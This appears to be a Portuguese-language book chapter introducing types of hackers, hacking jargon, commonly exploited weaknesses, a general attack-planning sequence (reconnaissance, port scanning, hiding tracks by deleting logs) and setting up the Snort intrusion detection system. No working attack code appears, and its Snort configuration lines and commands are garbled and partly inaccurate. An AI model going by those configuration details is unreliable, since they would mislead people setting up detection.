	Em sua definição original, hackers são pessoas que apenas utilizam seus conhecimentos para invadir sistemas sem intuito de causar prejuízo algum à sua vítima, mas sim de testar suas habilidades. Eles penetram em grandes sistemas e compartilham destas proezas com seus colegas a fim de demonstrar conhecimento e poder. Ótimos programadores e peritos em redes, geralmente não gostam de serem confundidos com crackers, que são elementos que invadem sistemas para roubar informações e causar prejuízos reais às suas vítimas.
	Atualmente, com o crescimento da internet e a facilidade de se obter informações e ferramentas de ataques, a definição do termo hacker mudou.
	Uma classificação dos diversos tipos de hacker pode ser vista da seguinte forma:
- ScriptKiddies: iniciante
- CyberPunks: hackers mais velhos e antissocial
- Insiders: empregados insatisfeitos 
- Coders: escrevem programas usados em invasões
- WhiteHat: hacker contratados por empresas
- BlackHat: crackers
- Defacers: modificam sites a fim de passarem alguma mensagem
ScriptKiddies
Também conhecidos como newbies, trazem diversos problemas às empresas. São inexperientes e novatos que conseguem ferramentas escritas por Coders divulgados na internet, e depois a utilizam sem nem ao menos entender o que estão fazendo e o que podem causar. São considerados muito perigosos para um imenso número de organizações pois é possível que mesmo sem saber como, um script consiga explorar uma brecha na segurança da empresa e ponha em risco todos os seus dados.
 
CyberPunks
Estes hackers se dedicam às invasões por puro divertimento e desafio. Possuem extremo conhecimento e uma das suas principais preocupações são contra o governo pois acredita que esses possam estar acessando informações privadas dos cidadãos. Geralmente são eles que encontram as falhas em software, em protocolos e em sistemas operacionais e divulgam as mesmas, ajudando assim as empresas criadoras dos programas a corrigirem as suas falhas. 
 
Insiders
Estes são os maiores responsáveis pelas invasões de sistemas e incidentes de segurança nas organizações. A identificação dos Insiders pode ser difícil mas geralmente são usuários descontentes e uma vez tendo acesso à máquina na empresa, ele pode deletar arquivos, inserir vírus no sistema, manipular dados, divulgar informações secretas e até mesmo se vender a um forte concorrente de empresa. 
Coders
Coders são os hackers que resolvem compartilhar seus conhecimentos com outros usuários, experientes ou não. Escrevem códigos utilizados em invasões e repassam para BlackHat, ou até simplesmente divulgam na internet em algum site sobre segurança de dados. Podem vir a escrever livros sobre segurança e até mesmo dar aulas e ministrarem palestras.
WhiteHat
São conhecidos como hackers do bem ou hackers éticos e utilizam seus conhecimentos para descobrir vulnerabilidades e apresentar correções para as mesmas. Trabalham de maneira legal e profissional prestando consultoria sobre segurança computacional às grandes empresas.
BlackHat
São os crackers. Este grupo utiliza todo o seu conhecimento em programação e técnicas de rede para a invasão de sistemas com o intuito de roubar informações secretas e confidenciais, piratear softwares, obter números de cartões de créditos e no final de tudo, ainda conseguir dinheiro com os frutos obtidos na invasão.
Defacers
Estes praticam o Web Defacement (Modificação de Websites) a fim de passarem uma mensagem politica, religiosa ou de poder intelectual. Muitos desses Defacers possuem clãs que diariamente podem desfigurar dezenas de sites em vários países para deixarem a sua mensagem. Estes clãs de defaces geralmente criam seus próprios códigos pra explorarem falhas, ferramentas naautomação de busca de vulnerabilidades e falhas em sistemas. É relativamente fácil consegui informações sobre um clã de Defacers pois estes adoram divulgar seu sites pela internet.
Terminologia no Mundo Hacker
Estes diversos tipos de atacantes em potencial podem causar desde pequenos transtornos até problemas irreparáveis, pois até mesmo a segurança nacional pode estar sujeita a este risco. Algumas terminologias neste mundo hacker demostram suas técnicas e seu modo de agir.
	As mais interessantes estão listadas aqui:
	
Warez = Software pirateado e distribuído na internet.
	Crack = Programa para quebrar a proteção de algum software legal.
	Carding = Roubo de números de cartões de crédito ou clonagem.
	Phreaking = Hacking de sistemas telefônicos. 
	Vírus = Programas que destroem arquivos ou até sistemas.
	Worm = Similiar ao vírus, porém mais perigoso pois não precisa ser executado.
	Cavalo de Tróia = Muito utilizado para abrir portas e serviços...
	Exploid = Programa escrito com o intuído de explorar falhas.
	Easter Egg = Mensagem secreta escondida pelo programador como brincadeira.
	MassDeface = Desfiguração de centenas de sites em uma só vez.
	Root Kit = Série de programas que visa obter acesso root em ambientes Linux.
	Spybot = Gravam tudo e executa ações previamente programadas.
	Flooder = Milhares de aquisições enviada ao mesmo tempo, a vitima sobrecarrega pois não consegui responder com a mesma velocidade.
	Mail Flooder = Programa que envia milhares de E-mails para o mesmo.
	Fake Mailer = Programa para envio de e-mail com remetente falso.
Pontos de Exploração
As invasões de sistemas de computadores têm como base a utilização de técnicas que exploram falhas humanas e tecnológicas. Em relação às falhas humanas, o ponto mais explorado ‘’ e a desinformação do funcionário e a sua boa-fé. Já o caso das tecnologias, podem ser exploradas Bugs(falhas) em:
	- Sistemas operacionais
	- Softwares comerciais
	- Serviços locais e remotos
	- Servidores Web
	- Servidores de envio e recebimento de e-mail(SMTP;POP)
	- Programas de chat, conferencia Room etc.
	- Erros de configurações de software
	- Senhas Padrão ou mal implementadas
	- Administração “preguiçosa” gerando ‘brechas’ no sistema
Vale lembrar que dentro destes itens existem uma infinidade de técnicas, umas menos eficientes que outras, porém nunca descartadas pois sempre é possível que tenham uso em um ataque a uma organização. Veremos com maiores detalhes as técnicas de invasão na Parte 2 deste livro.
Planejamento de Ataque
As motivações que levam à invasão de um site variam de acordo com os tipos de invasores. Para ScriptKiddies os motivos são geralmente a alta curiosidade e vontade de experimentar. Por incrível que pareça, deve-se tomar muito cuidado com script pois eles, em sua maioria, não sabem o que estão fazendo e o que podem causar. Script não planejam seus ataques. Eles simplesmente conseguem alguns exploids com Coder e ficam tentando sucesso em centenas de sites, pois não possuem um alvo fixo. CyberPunks, WhiteHat, BlackHat, estes sim, planejam seus ataques. Antes de uma primeira tentativa podem passar dias em busca de informações sobre a empresa que atacarão. Abaixo segue um exemplo de planejamento de ataque que é utilizado por 90% dos hackers:
Obter informação sobre a instituição em questão – Geralmente utiliza-se elementos como a Engenharia Social, pesquisa a servidores WHO IS etc. Todas essas técnicas serão vistas na Parte 2 do livro.
Varredura de portas – O hacker procura por todas as portas abertas na máquina-alvo a fim de encontrar os serviços que ela está rodando e em seguida saber quais são as versões dos mesmos para dar início a seus ataques.
Scanner de vulnerabilidades – São utilizados para se encontrar os serviços que ela está rodando e em seguida saber quais são as versões dos mesmos para dar início a seus ataques.
 Após estes passos, o hacker já possui em mãos um relatório com todos os pontos fracos da vitima e já pode realizar seus ataques para explorar as falhas específicas.
As consequências de sucesso no ataque podem fazer com que o hacker execute tais ações:
Monitoramento do sistema
Desvio de informações
Modificação de dados, serviços e aplicações
Negação e corrupção de serviços
Fraudes financeiras
Prejudicar publicamente a imagem da empresa
Web defacement (desfiguração do site)
Após todas estas ações, o hacker tenta encobrir tudo o que foi feito até o momento para não ser descoberto. Ele faz isso removendo arquivos de Log e trocando arquivos importantes no sistema para mascarar suas ações.
IDS Intrusion Detection System 
É um sistema de detecção de intrusos ou simplesmente IDS que se refere a meios técnicos de se descobrir em uma rede quando esta sofre acessos não autorizados que podem indicar a ação hacker ou até mesmo funcionários mal intencionados.
	Com o acentuado crescimento das tecnologias e infra-estrutura tanto nos serviços como nos protocolos de rede, torna-se cada vez mais difícil a implementação de sistema de detecção de intrusos.
	Uma ferramenta IDS serve basicamente para nos fazer informações sobre nossa rede, como:
Quantas tentativas de ataques sofremos por dia;
Qual tipo de ataque foi usado;
Qual a origem dos ataques;
Enfim, a a parti dele, você vai tomar conhecimento do que realmente se passa em sua rede e em casos extremos, poderá tomar às medidas cabíveis para tentar solucionar qualquer problema.
Escolha da Ferramenta
Uma ótima ferramenta IDS é o SNORT, por...
...ser uma ferramenta livre;
...ser de fácil manuseio;
...ser uma ferramenta confiável (é usada pela SANS no seu online training);
...ter versões para Linux e Windows.
Outras Possíveis Ferramentas
WEBTRENDS – Excelente soft para análise de vulnerabilidades.
NMAP – O NMAP, que acredito que eu , todos conheçam, é uma ferramenta de grande auxilio para teste de firewalls e figerprints.
TWWWSCAN – É uma ferramenta para detectar vulnerabilidades CGI e fazer fingerprints de hosts ou ips.
Instalação e Configuração do SNORT
Veja a seguir como configurar o arquivo snort.conf:
 O SNORT usa um arquivo snort.conf uma variável chamada HOME_NET e que serve para que não seja necessário especificá-la novamente em todos os arquivos de regras e assinaturas de ataque, no arquivo snort. Conf,no entanto, é necessário que a variável HOME_NET seja associada ao IP da sua rede local.
	Você também pode setar IP’s para os servidores DNS ou para a variável EXTERNAL_NET, vai da necessidade de cada um configurar da melhor forma possível, inclusive, o próprio SNORT recomenda que para a variável EXTERNAL_NET seja associado valor ANY, para que seja “filtrado” tudo o que passar por ela.
	Pronto, configurados os IP’s referentes a configuração da rede, deve-se mostrar ao SNORT quais arquivos de regras ele deve ler quando iniciar. Estes arquivos são especificados o final do arquivo snort. Conf.
Veja a seguir o modelo e as chamadas para tais arquivos:
include webcgi –lib
include webcf –lib
include webiis –lib
include webfp –lib
include webmisc –lib
include overflow –lib
include finger –lib
include ftp –lib
include smtp –lib
include telnet –lib
include misc –lib
…..
Vale lembrar que cada arquivo –lib contém informações sobre diferentes tipos de ataques. Após terem sidos configurados as informações referentes a rede e aos IP’s, acionaremos o snort através da seguinte linha de comando:
Snort –c /diretório/snort. Conf
Exemplo de Funcionamento
Agora que o Snort já está configurado e rodando, os logs já estão sendo gerados e a monitoração está sendo efetuada, assim sendo, podemos ter controle de tudo que está acontecendo verificando frequentemente os logs.
[**] ICMP Destination Unreachacle(Undefined Code!) [**]
04/04-03:17:10. 137663 100.100.100.100 200.200.200.200
ICMP TTL: 254 TOS: 0X0 ID: 4939 IpLen: 20 DgmLen: 56
Type: 3 Code: 3 DESTINATION UNREACHABLE: PORT UNREACHABLE
** ORIGINAL DATAGRAM DUMP: 200.200.200.200:1044 100.100.100.100:53
UDP TTL: 52 TOS: 0X0 ID: 25676

Outros materiais